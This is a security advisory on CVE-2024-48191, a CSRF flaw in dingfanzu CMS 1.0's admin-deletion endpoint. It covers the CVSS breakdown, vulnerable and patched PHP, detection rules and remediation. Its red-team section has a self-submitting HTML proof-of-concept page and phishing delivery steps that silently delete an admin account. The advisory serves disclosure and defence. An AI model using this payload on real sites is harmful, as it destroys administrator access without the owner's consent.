CVE-2024-48191

Executive Summary

CVE-2024-48191 is a Cross-Site Request Forgery (CSRF) vulnerability in dingfanzu CMS 1.0, specifically in the /admin/doAdminAction.php?act=delAdmin&id=17 endpoint. An attacker can trick an authenticated administrator into unknowingly deleting an admin account by crafting a malicious request. The vulnerability has a CVSS v3.1 base score of 8.8 (High) due to the potential for complete compromise of administrative integrity. No official patch or vendor response has been identified, and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild at this time. The vulnerability is classified under CWE-352 (Cross-Site Request Forgery).

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP CMS application.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N) – The attack is performed remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – The attacker does not need to be authenticated.
• User Interaction: Required (UI:R) – The victim must click a link or visit a malicious page.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – An attacker could gain access to sensitive admin data.
• Integrity Impact: High (I:H) – Admin accounts can be deleted, disrupting management.
• Availability Impact: High (A:H) – Deletion of admin accounts can lead to loss of administrative access.

Threat Level: High. While the EPSS score is low, the impact of successful exploitation is severe, potentially leading to full administrative takeover or denial of service.

Deep Dive & Mechanics

The vulnerability resides in the doAdminAction.php script, which handles administrative actions. The delAdmin action deletes an admin user based on the id parameter. The script does not implement any CSRF token validation or origin/referer header checks. This allows an attacker to craft a request like:

GET /admin/doAdminAction.php?act=delAdmin&id=17 HTTP/1.1
Host: target.com
Cookie: [admin_session_cookie]

If an authenticated admin visits a malicious page (e.g., via a phishing email or a compromised site), the browser will automatically include the admin's session cookie, and the request will be processed as legitimate. The lack of CSRF protection means the server cannot distinguish between a genuine admin action and a forged one.

Vulnerable vs. Patched Code

Vulnerable Code (dingfanzu CMS 1.0):

// /admin/doAdminAction.php
$act = $_GET['act'];
if ($act == 'delAdmin') {
    $id = intval($_GET['id']);
    $sql = "DELETE FROM admin WHERE id = $id";
    mysqli_query($conn, $sql);
    // No CSRF token check
}

Patched Code (Hypothetical):

// /admin/doAdminAction.php
session_start();
if ($_GET['act'] == 'delAdmin') {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF token validation failed.');
    }
    $id = intval($_GET['id']);
    $sql = "DELETE FROM admin WHERE id = $id";
    mysqli_query($conn, $sql);
}

The patched version introduces a CSRF token that is generated per session and validated on each state-changing request. The token should be included in forms as a hidden field and verified server-side.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Setup: Deploy a local instance of dingfanzu CMS 1.0 on a web server (e.g., XAMPP). Create an admin account and log in.
2. Craft the Exploit: Create an HTML page that automatically submits a CSRF request to delete an admin account.

<html>
<body>
<h1>Click me!</h1>
<form action="http://target.com/admin/doAdminAction.php?act=delAdmin&id=17" method="GET" id="csrf_form">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>

3. Deliver: Host the HTML page on a server controlled by the attacker. Send the link to the victim admin via email or social engineering.
4. Trigger: When the victim (authenticated admin) visits the page, the browser sends the GET request with the admin's session cookie, deleting the admin account with ID 17.

Blue Team (Detection & Defense)

• Monitor Logs: Look for unusual GET requests to /admin/doAdminAction.php with act=delAdmin and an id parameter, especially if they originate from unexpected referrers.
• Implement CSRF Tokens: Add CSRF token validation to all admin actions.
• Use SameSite Cookies: Set the SameSite attribute on session cookies to Strict or Lax to prevent cross-site requests.
• Validate Referer Header: Check the Referer header to ensure requests originate from the same domain.

Indicators of Compromise (IOCs)

• Network:
  • GET request to /admin/doAdminAction.php?act=delAdmin&id=[0-9]+
  • Referer header pointing to an external domain (e.g., attacker-controlled site)
• Host:
  • Unexpected deletion of admin accounts in the database
  • Log entries showing doAdminAction.php accessed with act=delAdmin
• File:
  • No specific file-based IOCs; the attack is purely network-based.

Detection Engineering

YARA Rule

rule CVE_2024_48191_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against dingfanzu CMS CVE-2024-48191"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-48191"
    strings:
        $s1 = "/admin/doAdminAction.php?act=delAdmin&id="
        $s2 = "doAdminAction.php"
    condition:
        any of ($s*) and #s1 > 0
}

Sigma Rule

title: CSRF Exploit Attempt Against dingfanzu CMS
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests targeting the CSRF-vulnerable endpoint in dingfanzu CMS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/admin/doAdminAction.php?act=delAdmin&id='
    condition: selection
falsepositives:
    - Legitimate admin actions (if CSRF protection is absent)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-48191 CSRF Exploit Attempt"; flow:to_server; http.method; content:"GET"; http.uri; content:"/admin/doAdminAction.php?act=delAdmin&id="; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Since no official patch exists, the primary mitigation is to implement CSRF protection manually.
   • Add a CSRF token to all admin forms and validate it server-side.
   • Set session cookies with SameSite=Strict or Lax.
   • Validate the Origin and Referer headers for state-changing requests.
2. Long-term: Migrate to a supported CMS or apply a custom patch as shown in the "Vulnerable vs. Patched Code" section.
3. Monitoring: Deploy the YARA, Sigma, and Suricata rules provided to detect exploitation attempts.
4. User Education: Train administrators to avoid clicking suspicious links while logged into the admin panel.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst